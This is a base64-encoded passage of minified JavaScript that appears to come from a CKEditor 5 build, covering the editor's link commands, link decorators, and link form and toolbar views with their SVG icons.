5jb252ZXJzaW9uLmZvcigiZGF0YURvd25jYXN0IikuYXR0cmlidXRlVG9FbGVtZW50KHttb2RlbDoibGlua0hyZWYiLHZpZXc6RU19KTt0LmNvbnZlcnNpb24uZm9yKCJlZGl0aW5nRG93bmNhc3QiKS5hdHRyaWJ1dGVUb0VsZW1lbnQoe21vZGVsOiJsaW5rSHJlZiIsdmlldzoodCxlKT0+RU0oTU0odCksZSl9KTt0LmNvbnZlcnNpb24uZm9yKCJ1cGNhc3QiKS5lbGVtZW50VG9BdHRyaWJ1dGUoe3ZpZXc6e25hbWU6ImEiLGF0dHJpYnV0ZXM6e2hyZWY6dHJ1ZX19LG1vZGVsOntrZXk6ImxpbmtIcmVmIix2YWx1ZTp0PT50LmdldEF0dHJpYnV0ZSgiaHJlZiIpfX0pO3QuY29tbWFuZHMuYWRkKCJsaW5rIixuZXcgek0odCkpO3QuY29tbWFuZHMuYWRkKCJ1bmxpbmsiLG5ldyBMTSh0KSk7Y29uc3QgZT1UTSh0LnQsSU0odC5jb25maWcuZ2V0KCJsaW5rLmRlY29yYXRvcnMiKSkpO3RoaXMuX2VuYWJsZUF1dG9tYXRpY0RlY29yYXRvcnMoZS5maWx0ZXIoKHQ9PnQubW9kZT09PUhNKSkpO3RoaXMuX2VuYWJsZU1hbnVhbERlY29yYXRvcnMoZS5maWx0ZXIoKHQ9PnQubW9kZT09PUdNKSkpO2NvbnN0IG49dC5wbHVnaW5zLmdldCh2RSk7bi5yZWdpc3RlckF0dHJpYnV0ZSgibGlua0hyZWYiKTtJRSh0LCJsaW5rSHJlZiIsImEiLFVNKTt0aGlzLl9lbmFibGVJbnNlcnRDb250ZW50U2VsZWN0aW9uQXR0cmlidXRlc0ZpeGVyKCk7dGhpcy5fZW5hYmxlQ2xpY2tpbmdBZnRlckxpbmsoKTt0aGlzLl9lbmFibGVUeXBpbmdPdmVyTGluaygpO3RoaXMuX2hhbmRsZURlbGV0ZUNvbnRlbnRBZnRlckxpbmsoKX1fZW5hYmxlQXV0b21hdGljRGVjb3JhdG9ycyh0KXtjb25zdCBlPXRoaXMuZWRpdG9yO2NvbnN0IG49ZS5jb21tYW5kcy5nZXQoImxpbmsiKTtjb25zdCBpPW4uYXV0b21hdGljRGVjb3JhdG9ycztpZihlLmNvbmZpZy5nZXQoImxpbmsuYWRkVGFyZ2V0VG9FeHRlcm5hbExpbmtzIikpe2kuYWRkKHtpZDoibGlua0lzRXh0ZXJuYWwiLG1vZGU6SE0sY2FsbGJhY2s6dD0+V00udGVzdCh0KSxhdHRyaWJ1dGVzOnt0YXJnZXQ6Il9ibGFuayIscmVsOiJub29wZW5lciBub3JlZmVycmVyIn19KX1pLmFkZCh0KTtpZihpLmxlbmd0aCl7ZS5jb252ZXJzaW9uLmZvcigiZG93bmNhc3QiKS5hZGQoaS5nZXREaXNwYXRjaGVyKCkpfX1fZW5hYmxlTWFudWFsRGVjb3JhdG9ycyh0KXtpZighdC5sZW5ndGgpe3JldHVybn1jb25zdCBlPXRoaXMuZWRpdG9yO2NvbnN0IG49ZS5jb21tYW5kcy5nZXQoImxpbmsiKTtjb25zdCBpPW4ubWFudWFsRGVjb3JhdG9yczt0LmZvckVhY2goKHQ9PntlLm1vZGVsLnNjaGVtYS5leHRlbmQoIiR0ZXh0Iix7YWxsb3dBdHRyaWJ1dGVzOnQuaWR9KTtpLmFkZChuZXcgT00odCkpO2UuY29udmVyc2lvbi5mb3IoImRvd25jYXN0IikuYXR0cmlidXRlVG9FbGVtZW50KHttb2RlbDp0LmlkLHZpZXc6KGUse3dyaXRlcjpufSk9PntpZihlKXtjb25zdCBlPWkuZ2V0KHQuaWQpLmF0dHJpYnV0ZXM7Y29uc3Qgbz1uLmNyZWF0ZUF0dHJpYnV0ZUVsZW1lbnQoImEiLGUse3ByaW9yaXR5OjV9KTtuLnNldEN1c3RvbVByb3BlcnR5KCJsaW5rIix0cnVlLG8pO3JldHVybiBvfX19KTtlLmNvbnZlcnNpb24uZm9yKCJ1cGNhc3QiKS5lbGVtZW50VG9BdHRyaWJ1dGUoe3ZpZXc6e25hbWU6ImEiLGF0dHJpYnV0ZXM6aS5nZXQodC5pZCkuYXR0cmlidXRlc30sbW9kZWw6e2tleTp0LmlkfX0pfSkpfV9lbmFibGVJbnNlcnRDb250ZW50U2VsZWN0aW9uQXR0cmlidXRlc0ZpeGVyKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubW9kZWw7Y29uc3Qgbj1lLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBpPXQuY29tbWFuZHMuZ2V0KCJsaW5rIik7dGhpcy5saXN0ZW5UbyhlLCJpbnNlcnRDb250ZW50IiwoKCk9Pntjb25zdCB0PW4uYW5jaG9yLm5vZGVCZWZvcmU7Y29uc3Qgbz1uLmFuY2hvci5ub2RlQWZ0ZXI7aWYoIW4uaGFzQXR0cmlidXRlKCJsaW5rSHJlZiIpKXtyZXR1cm59aWYoIXQpe3JldHVybn1pZighdC5oYXNBdHRyaWJ1dGUoImxpbmtIcmVmIikpe3JldHVybn1pZihvJiZvLmhhc0F0dHJpYnV0ZSgibGlua0hyZWYiKSl7cmV0dXJufWUuY2hhbmdlKCh0PT57cU0odCxpLm1hbnVhbERlY29yYXRvcnMpfSkpfSkse3ByaW9yaXR5OiJsb3cifSl9X2VuYWJsZUNsaWNraW5nQWZ0ZXJMaW5rKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQuY29tbWFuZHMuZ2V0KCJsaW5rIik7dC5lZGl0aW5nLnZpZXcuYWRkT2JzZXJ2ZXIoRXYpO2xldCBuPWZhbHNlO3RoaXMubGlzdGVuVG8odC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsIm1vdXNlZG93biIsKCgpPT57bj10cnVlfSkpO3RoaXMubGlzdGVuVG8odC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsInNlbGVjdGlvbkNoYW5nZSIsKCgpPT57aWYoIW4pe3JldHVybn1uPWZhbHNlO2NvbnN0IGk9dC5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247aWYoIWkuaXNDb2xsYXBzZWQpe3JldHVybn1pZighaS5oYXNBdHRyaWJ1dGUoImxpbmtIcmVmIikpe3JldHVybn1jb25zdCBvPWkuZ2V0Rmlyc3RQb3NpdGlvbigpO2NvbnN0IHI9U0UobywibGlua0hyZWYiLGkuZ2V0QXR0cmlidXRlKCJsaW5rSHJlZiIpLHQubW9kZWwpO2lmKG8uaXNUb3VjaGluZyhyLnN0YXJ0KXx8by5pc1RvdWNoaW5nKHIuZW5kKSl7dC5tb2RlbC5jaGFuZ2UoKHQ9PntxTSh0LGUubWFudWFsRGVjb3JhdG9ycyl9KSl9fSkpfV9lbmFibGVUeXBpbmdPdmVyTGluaygpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmVkaXRpbmcudmlldztsZXQgbjtsZXQgaTt0aGlzLmxpc3RlblRvKGUuZG9jdW1lbnQsImRlbGV0ZSIsKCgpPT57aT10cnVlfSkse3ByaW9yaXR5OiJoaWdoIn0pO3RoaXMubGlzdGVuVG8odC5tb2RlbCwiZGVsZXRlQ29udGVudCIsKCgpPT57Y29uc3QgZT10Lm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbjtpZihlLmlzQ29sbGFwc2VkKXtyZXR1cm59aWYoaSl7aT1mYWxzZTtyZXR1cm59aWYoIVFNKHQpKXtyZXR1cm59aWYoWU0odC5tb2RlbCkpe249ZS5nZXRBdHRyaWJ1dGVzKCl9fSkse3ByaW9yaXR5OiJoaWdoIn0pO3RoaXMubGlzdGVuVG8odC5tb2RlbCwiaW5zZXJ0Q29udGVudCIsKChlLFtvXSk9PntpPWZhbHNlO2lmKCFRTSh0KSl7cmV0dXJufWlmKCFuKXtyZXR1cm59dC5tb2RlbC5jaGFuZ2UoKHQ9Pntmb3IoY29uc3RbZSxpXW9mIG4pe3Quc2V0QXR0cmlidXRlKGUsaSxvKX19KSk7bj1udWxsfSkse3ByaW9yaXR5OiJoaWdoIn0pfV9oYW5kbGVEZWxldGVDb250ZW50QWZ0ZXJMaW5rKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubW9kZWw7Y29uc3Qgbj1lLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBpPXQuZWRpdGluZy52aWV3O2NvbnN0IG89dC5jb21tYW5kcy5nZXQoImxpbmsiKTtsZXQgcj1mYWxzZTtsZXQgcz1mYWxzZTt0aGlzLmxpc3RlblRvKGkuZG9jdW1lbnQsImRlbGV0ZSIsKCh0LGUpPT57cz1lLmRvbUV2ZW50LmtleUNvZGU9PT1MbC5iYWNrc3BhY2V9KSx7cHJpb3JpdHk6ImhpZ2gifSk7dGhpcy5saXN0ZW5UbyhlLCJkZWxldGVDb250ZW50IiwoKCk9PntyPWZhbHNlO2NvbnN0IHQ9bi5nZXRGaXJzdFBvc2l0aW9uKCk7Y29uc3QgaT1uLmdldEF0dHJpYnV0ZSgibGlua0hyZWYiKTtpZighaSl7cmV0dXJufWNvbnN0IG89U0UodCwibGlua0hyZWYiLGksZSk7cj1vLmNvbnRhaW5zUG9zaXRpb24odCl8fG8uZW5kLmlzRXF1YWwodCl9KSx7cHJpb3JpdHk6ImhpZ2gifSk7dGhpcy5saXN0ZW5UbyhlLCJkZWxldGVDb250ZW50IiwoKCk9PntpZighcyl7cmV0dXJufXM9ZmFsc2U7aWYocil7cmV0dXJufXQubW9kZWwuZW5xdWV1ZUNoYW5nZSgodD0+e3FNKHQsby5tYW51YWxEZWNvcmF0b3JzKX0pKX0pLHtwcmlvcml0eToibG93In0pfX1mdW5jdGlvbiBxTSh0LGUpe3QucmVtb3ZlU2VsZWN0aW9uQXR0cmlidXRlKCJsaW5rSHJlZiIpO2Zvcihjb25zdCBuIG9mIGUpe3QucmVtb3ZlU2VsZWN0aW9uQXR0cmlidXRlKG4uaWQpfX1mdW5jdGlvbiBZTSh0KXtjb25zdCBlPXQuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IG49ZS5nZXRGaXJzdFBvc2l0aW9uKCk7Y29uc3QgaT1lLmdldExhc3RQb3NpdGlvbigpO2NvbnN0IG89bi5ub2RlQWZ0ZXI7aWYoIW8pe3JldHVybiBmYWxzZX1pZighby5pcygiJHRleHQiKSl7cmV0dXJuIGZhbHNlfWlmKCFvLmhhc0F0dHJpYnV0ZSgibGlua0hyZWYiKSl7cmV0dXJuIGZhbHNlfWNvbnN0IHI9aS50ZXh0Tm9kZXx8aS5ub2RlQmVmb3JlO2lmKG89PT1yKXtyZXR1cm4gdHJ1ZX1jb25zdCBzPVNFKG4sImxpbmtIcmVmIixvLmdldEF0dHJpYnV0ZSgibGlua0hyZWYiKSx0KTtyZXR1cm4gcy5jb250YWluc1JhbmdlKHQuY3JlYXRlUmFuZ2UobixpKSx0cnVlKX1mdW5jdGlvbiBRTSh0KXtjb25zdCBlPXQucGx1Z2lucy5nZXQoIklucHV0Iik7cmV0dXJuIGUuaXNJbnB1dCh0Lm1vZGVsLmNoYW5nZSgodD0+dC5iYXRjaCkpKX1jbGFzcyAkTSBleHRlbmRzIG5oe2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMuZG9tRXZlbnRUeXBlPSJjbGljayJ9b25Eb21FdmVudCh0KXt0aGlzLmZpcmUodC50eXBlLHQpfX12YXIgSk09big0Nyk7dmFyIFpNPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07Wk0uaW5zZXJ0PSJoZWFkIjtaTS5zaW5nbGV0b249dHJ1ZTt2YXIgWE09cmsoKShKTVsiYSJdLFpNKTt2YXIgdFM9Sk1bImEiXS5sb2NhbHN8fHt9O2NsYXNzIGVTIGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCxlKXtzdXBlcih0KTtjb25zdCBuPXQudDt0aGlzLmZvY3VzVHJhY2tlcj1uZXcgdGs7dGhpcy5rZXlzdHJva2VzPW5ldyBWcDt0aGlzLnVybElucHV0Vmlldz10aGlzLl9jcmVhdGVVcmxJbnB1dCgpO3RoaXMuc2F2ZUJ1dHRvblZpZXc9dGhpcy5fY3JlYXRlQnV0dG9uKG4oIlNhdmUiKSxreSwiY2stYnV0dG9uLXNhdmUiKTt0aGlzLnNhdmVCdXR0b25WaWV3LnR5cGU9InN1Ym1pdCI7dGhpcy5jYW5jZWxCdXR0b25WaWV3PXRoaXMuX2NyZWF0ZUJ1dHRvbihuKCJDYW5jZWwiKSxieSwiY2stYnV0dG9uLWNhbmNlbCIsImNhbmNlbCIpO3RoaXMuX21hbnVhbERlY29yYXRvclN3aXRjaGVzPXRoaXMuX2NyZWF0ZU1hbnVhbERlY29yYXRvclN3aXRjaGVzKGUpO3RoaXMuY2hpbGRyZW49dGhpcy5fY3JlYXRlRm9ybUNoaWxkcmVuKGUubWFudWFsRGVjb3JhdG9ycyk7dGhpcy5fZm9jdXNhYmxlcz1uZXcgQWs7dGhpcy5fZm9jdXNDeWNsZXI9bmV3IERiKHtmb2N1c2FibGVzOnRoaXMuX2ZvY3VzYWJsZXMsZm9jdXNUcmFja2VyOnRoaXMuZm9jdXNUcmFja2VyLGtleXN0cm9rZUhhbmRsZXI6dGhpcy5rZXlzdHJva2VzLGFjdGlvbnM6e2ZvY3VzUHJldmlvdXM6InNoaWZ0ICsgdGFiIixmb2N1c05leHQ6InRhYiJ9fSk7Y29uc3QgaT1bImNrIiwiY2stbGluay1mb3JtIiwiY2stcmVzcG9uc2l2ZS1mb3JtIl07aWYoZS5tYW51YWxEZWNvcmF0b3JzLmxlbmd0aCl7aS5wdXNoKCJjay1saW5rLWZvcm1fbGF5b3V0LXZlcnRpY2FsIiwiY2stdmVydGljYWwtZm9ybSIpfXRoaXMuc2V0VGVtcGxhdGUoe3RhZzoiZm9ybSIsYXR0cmlidXRlczp7Y2xhc3M6aSx0YWJpbmRleDoiLTEifSxjaGlsZHJlbjp0aGlzLmNoaWxkcmVufSk7Z3kodGhpcyl9Z2V0RGVjb3JhdG9yU3dpdGNoZXNTdGF0ZSgpe3JldHVybiBBcnJheS5mcm9tKHRoaXMuX21hbnVhbERlY29yYXRvclN3aXRjaGVzKS5yZWR1Y2UoKCh0LGUpPT57dFtlLm5hbWVdPWUuaXNPbjtyZXR1cm4gdH0pLHt9KX1yZW5kZXIoKXtzdXBlci5yZW5kZXIoKTtweSh7dmlldzp0aGlzfSk7Y29uc3QgdD1bdGhpcy51cmxJbnB1dFZpZXcsLi4udGhpcy5fbWFudWFsRGVjb3JhdG9yU3dpdGNoZXMsdGhpcy5zYXZlQnV0dG9uVmlldyx0aGlzLmNhbmNlbEJ1dHRvblZpZXddO3QuZm9yRWFjaCgodD0+e3RoaXMuX2ZvY3VzYWJsZXMuYWRkKHQpO3RoaXMuZm9jdXNUcmFja2VyLmFkZCh0LmVsZW1lbnQpfSkpO3RoaXMua2V5c3Ryb2tlcy5saXN0ZW5Ubyh0aGlzLmVsZW1lbnQpfWZvY3VzKCl7dGhpcy5fZm9jdXNDeWNsZXIuZm9jdXNGaXJzdCgpfV9jcmVhdGVVcmxJbnB1dCgpe2NvbnN0IHQ9dGhpcy5sb2NhbGUudDtjb25zdCBlPW5ldyBzeSh0aGlzLmxvY2FsZSxmeSk7ZS5sYWJlbD10KCJMaW5rIFVSTCIpO3JldHVybiBlfV9jcmVhdGVCdXR0b24odCxlLG4saSl7Y29uc3Qgbz1uZXcgY3codGhpcy5sb2NhbGUpO28uc2V0KHtsYWJlbDp0LGljb246ZSx0b29sdGlwOnRydWV9KTtvLmV4dGVuZFRlbXBsYXRlKHthdHRyaWJ1dGVzOntjbGFzczpufX0pO2lmKGkpe28uZGVsZWdhdGUoImV4ZWN1dGUiKS50byh0aGlzLGkpfXJldHVybiBvfV9jcmVhdGVNYW51YWxEZWNvcmF0b3JTd2l0Y2hlcyh0KXtjb25zdCBlPXRoaXMuY3JlYXRlQ29sbGVjdGlvbigpO2Zvcihjb25zdCBuIG9mIHQubWFudWFsRGVjb3JhdG9ycyl7Y29uc3QgaT1uZXcgX3codGhpcy5sb2NhbGUpO2kuc2V0KHtuYW1lOm4uaWQsbGFiZWw6bi5sYWJlbCx3aXRoVGV4dDp0cnVlfSk7aS5iaW5kKCJpc09uIikudG9NYW55KFtuLHRdLCJ2YWx1ZSIsKCh0LGUpPT5lPT09dW5kZWZpbmVkJiZ0PT09dW5kZWZpbmVkP24uZGVmYXVsdFZhbHVlOnQpKTtpLm9uKCJleGVjdXRlIiwoKCk9PntuLnNldCgidmFsdWUiLCFpLmlzT24pfSkpO2UuYWRkKGkpfXJldHVybiBlfV9jcmVhdGVGb3JtQ2hpbGRyZW4odCl7Y29uc3QgZT10aGlzLmNyZWF0ZUNvbGxlY3Rpb24oKTtlLmFkZCh0aGlzLnVybElucHV0Vmlldyk7aWYodC5sZW5ndGgpe2NvbnN0IHQ9bmV3IHRiO3Quc2V0VGVtcGxhdGUoe3RhZzoidWwiLGNoaWxkcmVuOnRoaXMuX21hbnVhbERlY29yYXRvclN3aXRjaGVzLm1hcCgodD0+KHt0YWc6ImxpIixjaGlsZHJlbjpbdF0sYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLWxpc3RfX2l0ZW0iXX19KSkpLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1yZXNldCIsImNrLWxpc3QiXX19KTtlLmFkZCh0KX1lLmFkZCh0aGlzLnNhdmVCdXR0b25WaWV3KTtlLmFkZCh0aGlzLmNhbmNlbEJ1dHRvblZpZXcpO3JldHVybiBlfX12YXIgblM9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0xMS4wNzcgMTVsLjk5MS0xLjQxNmEuNzUuNzUgMCAxIDEgMS4yMjkuODZsLTEuMTQ4IDEuNjRhLjc0OC43NDggMCAwIDEtLjIxNy4yMDYgNS4yNTEgNS4yNTEgMCAwIDEtOC41MDMtNS45NTUuNzQxLjc0MSAwIDAgMSAuMTItLjI3NGwxLjE0Ny0xLjYzOWEuNzUuNzUgMCAxIDEgMS4yMjguODZMNC45MzMgMTAuN2wuMDA2LjAwM2EzLjc1IDMuNzUgMCAwIDAgNi4xMzIgNC4yOTRsLjAwNi4wMDR6bTUuNDk0LTUuMzM1YS43NDguNzQ4IDAgMCAxLS4xMi4yNzRsLTEuMTQ3IDEuNjM5YS43NS43NSAwIDEgMS0xLjIyOC0uODZsLjg2LTEuMjNhMy43NSAzLjc1IDAgMCAwLTYuMTQ0LTQuMzAxbC0uODYgMS4yMjlhLjc1Ljc1IDAgMCAxLTEuMjI5LS44NmwxLjE0OC0xLjY0YS43NDguNzQ4IDAgMCAxIC4yMTctLjIwNiA1LjI1MSA1LjI1MSAwIDAgMSA4LjUwMyA1Ljk1NXptLTQuNTYzLTIuNTMyYS43NS43NSAwIDAgMSAuMTg0IDEuMDQ1bC0zLjE1NSA0LjUwNWEuNzUuNzUgMCAxIDEtMS4yMjktLjg2bDMuMTU1LTQuNTA2YS43NS43NSAwIDAgMSAxLjA0NS0uMTg0em00LjkxOSAxMC41NjJsLTEuNDE0IDEuNDE0YS43NS43NSAwIDEgMS0xLjA2LTEuMDZsMS40MTQtMS40MTUtMS40MTUtMS40MTRhLjc1Ljc1IDAgMCAxIDEuMDYxLTEuMDZsMS40MTQgMS40MTQgMS40MTQtMS40MTVhLjc1Ljc1IDAgMCAxIDEuMDYxIDEuMDYxbC0xLjQxNCAxLjQxNCAxLjQxNCAxLjQxNWEuNzUuNzUgMCAwIDEtMS4wNiAxLjA2bC0xLjQxNS0xLjQxNHoiLz48L3N2Zz4nO3ZhciBpUz0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTcuMyAxNy4zN2wtLjA2MS4wODhhMS41MTggMS41MTggMCAwIDEtLjkzNC41MzVsLTQuMTc4LjY2My0uODA2LTQuMTUzYTEuNDk1IDEuNDk1IDAgMCAxIC4xODctMS4wNThsLjA1Ni0uMDg2TDguNzcgMi42MzljLjk1OC0xLjM1MSAyLjgwMy0xLjA3NiA0LjI5Ni0uMDMgMS40OTcgMS4wNDcgMi4zODcgMi42OTMgMS40MzMgNC4wNTVMNy4zIDE3LjM3ek05LjE0IDQuNzI4bC01LjU0NSA4LjM0NiAzLjI3NyAyLjI5NCA1LjU0NC04LjM0Nkw5LjE0IDQuNzI4ek02LjA3IDE2LjUxMmwtMy4yNzYtMi4yOTUuNTMgMi43MyAyLjc0Ni0uNDM1ek05Ljk5NCAzLjUwNkwxMy4yNzEgNS44Yy4zMTYtLjQ1Mi0uMTYtMS4zMzMtMS4wNjUtMS45NjYtLjkwNS0uNjM0LTEuODk1LS43OC0yLjIxMi0uMzI4ek04IDE4LjVMOS4zNzUgMTdIMTl2MS41SDh6Ii8+PC9zdmc+Jzt2YXIgb1M9big0OCk7dmFyIHJTPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07clMuaW5zZXJ0PSJoZWFkIjtyUy5zaW5nbGV0b249dHJ1ZTt2YXIgc1M9cmsoKShvU1siYSJdLHJTKTt2YXIgYVM9b1NbImEiXS5sb2NhbHN8fHt9O2NsYXNzIGNTIGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7Y29uc3QgZT10LnQ7dGhpcy5mb2N1c1RyYWNrZXI9bmV3IHRrO3RoaXMua2V5c3Ryb2tlcz1uZXcgVnA7dGhpcy5wcmV2aWV3QnV0dG9uVmlldz10aGlzLl9jcmVhdGVQcmV2aWV3QnV0dG9uKCk7dGhpcy51bmxpbmtCdXR0b25WaWV3PXRoaXMuX2NyZWF0ZUJ1dHRvbihlKCJVbmxpbmsiKSxuUywidW5saW5rIik7dGhpcy5lZGl0QnV0dG9uVmlldz10aGlzLl9jcmVhdGVCdXR0b24oZSgiRWRpdCBsaW5rIiksaVMsImVkaXQiKTt0aGlzLnNldCgiaHJlZiIpO3RoaXMuX2ZvY3VzYWJsZXM9bmV3IEFrO3RoaXMuX2ZvY3VzQ3ljbGVyPW5ldyBEYih7Zm9jdXNhYmxlczp0aGlzLl9mb2N1c2FibGVzLGZvY3VzVHJhY2tlcjp0aGlzLmZvY3VzVHJhY2tlcixrZXlzdHJva2VIYW5kbGVyOnRoaXMua2V5c3Ryb2tlcyxhY3Rpb25zOntmb2N1c1ByZXZpb3VzOiJzaGlmdCArIHRhYiIsZm9jdXNOZXh0OiJ0YWIifX0pO3RoaXMuc2V0VGVtcGxhdGUoe3RhZzoiZGl2IixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stbGluay1hY3Rpb25zIiwiY2stcmVzcG9uc2l2ZS1mb3JtIl0sdGFiaW5kZXg6Ii0xIn0sY2hpbGRyZW46W3RoaXMucHJldmlld0J1dHRvblZpZXcsdGhpcy5lZGl0QnV0dG9uVmlldyx0aGlzLnVubGlua0J1dHRvblZpZXddfSl9cmVuZGVyKCl7c3VwZXIucmVuZGVyKCk7Y29uc3QgdD1bdGhpcy5wcmV2aWV3QnV0dG9uVmlldyx0aGlzLmVkaXRCdXR0b25WaWV3LHRoaXMudW5saW5rQnV0dG9uVmlld107dC5mb3JFYWNoKCh0PT57dGhpcy5fZm9jdXNhYmxlcy5hZGQodCk7dGhpcy5mb2N1c1RyYWNrZXIuYWRkKHQuZWxlbWVudCl9KSk7dGhpcy5rZXlzdHJva2VzLmxpc3RlblRvKHRoaXMuZWxlbWVudCl9Zm9jdXMoKXt0aGlzLl9mb2N1c0N5Y2xlci5mb2N1c0ZpcnN0KCl9X2NyZWF0ZUJ1dHRvbih0LGUsbil7Y29uc3QgaT1uZXcgY3codGhpcy5sb2NhbGUpO2kuc2V0KHtsYWJlbDp0LGljb246ZSx0b29sdGlwOnRydWV9KTtpLmRlbGVnYXRlKCJleGVjdXRlIikudG8odGhpcyxuKTtyZXR1cm4gaX1fY3JlYXRlUHJldmlld0J1dHRvbigpe2NvbnN0IHQ9bmV3IGN3KHRoaXMubG9jYWxlKTtjb25zdCBlPXRoaXMuYmluZFRlbXBsYXRlO2NvbnN0IG49dGhpcy50O3Quc2V0KHt3aXRoVGV4dDp0cnVlLHRvb2x0aXA6bigiT3BlbiBsaW5rIGluIG5ldyB0YWIiKX0pO3QuZXh0ZW5kVGVtcGxhdGUoe2F0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1saW5rLWFjdGlvbnNfX3ByZXZpZXciXSxocmVmOmUudG8oImhyZWYiLCh0PT50JiZNTSh0KSkpLHRhcmdldDoiX2JsYW5rIixyZWw6Im5vb3BlbmVyIG5vcmVmZXJyZXIifX0pO3QuYmluZCgibGFiZWwiKS50byh0aGlzLCJocmVmIiwodD0+dHx8bigiVGhpcyBsaW5rIGhhcyBubyBVUkwiKSkpO3QuYmluZCgiaXNFbmFibGVkIikudG8odGhpcywiaHJlZiIsKHQ9PiEhdCkpO3QudGVtcGxhdGUudGFnPSJhIjt0LnRlbXBsYXRlLmV2ZW50TGlzdGVuZXJzPXt9O3JldHVybiB0fX12YXIgbFM9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0xMS4wNzcgMTVsLjk5MS0xLjQxNmEuNzUuNzUgMCAxIDEgMS4yMjkuODZsLTEuMTQ4IDEuNjRhLjc0OC43NDggMCAwIDEtLjIxNy4yMDYgNS4yNTEgNS4yNTEgMCAwIDEtOC41MDMtNS45NTUuNzQxLjc0MSAwIDAgMSAuMTItLjI3NGwxLjE0Ny0xLjYzOWEuNzUuNzUgMCAxIDEgMS4yMjguODZMNC45MzMgMTAuN2wuMDA2LjAwM2EzLjc1IDMuNzUgMCAwIDAgNi4xMzIgNC4yOTRsLjAwNi4wMDR6bTUuNDk0LTUuMzM1YS43NDguNzQ4IDAgMCAxLS4xMi4yNzRsLTEuMTQ3IDEuNjM5YS43NS43NSAwIDEgMS0xLjIyOC0uODZsLjg2LTEuMjNhMy43NSAzLjc1IDAgMCAwLTYuMTQ0LTQuMzAxbC0uODYgMS4yMjlhLjc1Ljc1IDAgMCAxLTEuMjI5LS44NmwxLjE0OC0xLjY0YS43NDguNzQ4IDAgMCAxIC4yMTctLjIwNiA1LjI1MSA1LjI1MSAwIDAgMSA4LjUwMyA1Ljk1NXptLTQuNTYzLTIuNTMyYS43NS43NSAwIDAgMSAuMTg0IDEuMDQ1bC0zLjE1NSA0LjUwNWEuNzUuNzUgMCAxIDEtMS4yMjktLjg2bDMuMTU1LTQuNTA2YS43NS43NSAwIDAgMSAxLjA0NS0uMTg0eiIvPjwvc3ZnPic7Y29uc3QgZFM9ImxpbmstdWkiO2NsYXNzIHVTIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltqeV19c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkxpbmtVSSJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7dC5lZGl0aW5nLnZpZXcuYWRkT2JzZXJ2ZXIoJE0pO3RoaXMuYWN0aW9uc1ZpZXc9dGhpcy5fY3JlYXRlQWN0aW9uc1ZpZXcoKTt0aGlzLmZvcm1WaWV3PXRoaXMuX2NyZWF0ZUZvcm1WaWV3KCk7dGhpcy5fYmFsbG9vbj10LnBsdWdpbnMuZ2V0KGp5KTt0aGlzLl9jcmVhdGVUb29sYmFyTGlua0J1dHRvbigpO3RoaXMuX2VuYWJsZVVzZXJCYWxsb29uSW50ZXJhY3Rpb25zKCk7dC5jb252ZXJzaW9uLmZvcigiZWRpdGluZ0Rvd25jYXN0IikubWFya2VyVG9IaWdobGlnaHQoe21vZGVsOmRTLHZpZXc6e2NsYXNzZXM6WyJjay1mYWtlLWxpbmstc2VsZWN0aW9uIl19fSk7dC5jb252ZXJzaW9uLmZvcigiZWRpdGluZ0Rvd25jYXN0IikubWFya2VyVG9FbGVtZW50KHttb2RlbDpkUyx2aWV3OntuYW1lOiJzcGFuIixjbGFzc2VzOlsiY2stZmFrZS1saW5rLXNlbGVjdGlvbiIsImNrLWZha2UtbGluay1zZWxlY3Rpb25fY29sbGFwc2VkIl19fSl9ZGVzdHJveSgpe3N1cGVyLmRlc3Ryb3koKTt0aGlzLmZvcm1WaWV3LmRlc3Ryb3koKX1fY3JlYXRlQWN0aW9uc1ZpZXcoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9bmV3IGNTKHQubG9jYWxlKTtjb25zdCBuPXQuY29tbWFuZHMuZ2V0KCJsaW5rIik7Y29uc3QgaT10LmNvbW1hbmRzLmdldCgidW5saW5rIik7ZS5iaW5kKCJocmVmIikudG8obiwidmFsdWUiKTtlLmVkaXRCdXR0b25WaWV3LmJpbmQoImlzRW5hYmxlZCIpLnRvKG4pO2UudW5saW5rQnV0dG9uVmlldy5iaW5kKCJpc0VuYWJsZWQiKS50byhpKTt0aGlzLmxpc3RlblRvKGUsImVkaXQiLCgoKT0+e3RoaXMuX2FkZEZvcm1WaWV3KCl9KSk7dGhpcy5saXN0ZW5UbyhlLCJ1bmxpbmsiLCgoKT0+e3QuZXhlY3V0ZSgidW5saW5rIik7dGhpcy5faGlkZVVJKCl9KSk7ZS5rZXlzdHJva2VzLn